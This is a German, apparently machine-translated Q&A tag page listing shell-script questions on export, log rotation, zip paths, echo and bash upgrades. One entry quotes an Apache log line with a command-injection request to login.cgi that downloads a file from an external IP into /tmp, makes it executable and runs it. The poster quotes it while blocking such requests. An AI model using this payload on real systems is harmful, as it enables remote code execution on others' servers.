Als «shell-script» getaggte Fragen

Ein Shell-Skript ist ein Skript, das für die Shell oder den Befehlszeileninterpreter eines Betriebssystems geschrieben wurde.




3
Was macht der Export in BASH? [Duplikat]
Mögliches Duplikat: Unterschied zwischen "a = b" und "export a = b" in bash Es ist schwer zuzugeben, aber ich habe nie wirklich verstanden, was genau exportmit einer Umgebungsvariablen geschieht. Ich weiß, dass ich eine Variable in untergeordneten Prozessen manchmal nicht sehen kann, wenn ich sie nicht exportiere, aber manchmal …

15
Wie führe ich eine .sh-Datei unter Windows aus?
Wenn ich versuche, eine Datei (name.sh) in der Befehlszeile mit dem Befehl ./name.sh auszuführen, erhalte ich die Fehlermeldung, dass: "." wird nicht als interne oder externe Befehls-, Betriebs- oder Stapeldatei erkannt Bitte helfen Sie mir beim Ausführen der .sh-Datei


9
Log Rotation von stdout?
Ich habe ein Linux-Programm, das Informationen in stdout und stderr schreiben kann. Ich habe ein Shell-Skript, das diese Ausgabe in eine Datei umleitet /var/log. (Via >>und 2>&1.) Gibt es eine Möglichkeit, diese Protokolldatei rotieren zu lassen? (maximale Größe, dann zu einer anderen Datei wechseln, nur eine begrenzte Anzahl von Dateien …

3
Vermeiden Sie unerwünschte Pfade in Zip-Dateien
Ich mache ein Shell-Skript, um einige Dateien zu packen. Ich zippe ein Verzeichnis wie dieses: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ Das Problem ist, dass das resultierende Archiv out.zip den gesamten Dateipfad enthält. Das heißt, wenn es entpackt wird, enthält es den gesamten Pfad "/ Users / me / development / anotherthing …
49 macos  bash  zip  path  shell-script 


2
Was ist falsch an "echo $ (stuff)" oder "echo` stuff` "?
Ich habe eine der folgenden verwendet echo $(stuff) echo `stuff` (wo stuffist zB pwdoder dateoder etwas komplizierter). Dann wurde mir gesagt, diese Syntax sei falsch, eine schlechte Praxis, nicht elegant, übertrieben, überflüssig, übermäßig kompliziert, eine Frachtkult-Programmierung, noobisch, naiv usw. Aber der Befehl funktioniert , also was genau ist daran falsch?
31 shell-script  sh  echo 

2
Was macht dieses Bash-Skript? [Hack-Versuch]
Ich habe auf den Apache-Protokollen meines Servers in letzter Zeit die folgenden seltsamen Zeilen bemerkt: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Also habe ich einen benutzerdefinierten Fail2Ban-Filter erstellt und angefangen, die IPs zu verbannen, die diese /login.cgi-URLs anfordern. Aber ich war neugierig, was sie …

5
Wie extrahiere ich eine vollständige Liste der Erweiterungstypen in einem Verzeichnis?
Wie erstelle ich innerhalb eines Verzeichnisses und rekursiv innerhalb seiner Unterverzeichnisse, dh jedes Verzeichnis innerhalb eines Verzeichnisses wird verarbeitet, eine vollständige Liste eindeutiger Erweiterungen innerhalb des Verzeichnisses? Betriebssystem ist Windows XP mit allen aktuellen Updates, aber ich kann ein Skript ausführen, wenn ich in der Lage bin zu sagen, was …

2
Shell-Skript gibt neue Zeile in Datei aus
Ich möchte eine neue Zeile in eine Datei zwischen Variablen in einem Shell-Skript einfügen. Hier ist mein Code: var1 = "Hallo" var2 = "Welt!" logwrite = "$ var1 [Hier möchte ich eine neue Zeile einfügen] $ var2 Geben Sie "$ logwrite" >> /Users/username/Desktop/user.txt als Echo ein Im Moment, wenn ich …


3
So aktualisieren Sie bash unter Mac OS X Yosemite
Ich versuche nur, ein bisschen Bash-Scripting zu lernen. Meine alte Bash-Version: Bash version 3.2.53(1)-release... Ich habe meine Bash auf Mac OS X Yosemite mit Homebrew aktualisiert: brew update brew install bash Dann habe ich in den Terminal-Eigenschaften den Standard-Shell-Pfad von /bin/bashauf geändert /usr/local/bin/bash(soweit ich weiß, installiert der Homebrew hier die …

Durch die Nutzung unserer Website bestätigen Sie, dass Sie unsere Cookie-Richtlinie und Datenschutzrichtlinie gelesen und verstanden haben.
Licensed under cc by-sa 3.0 with attribution required.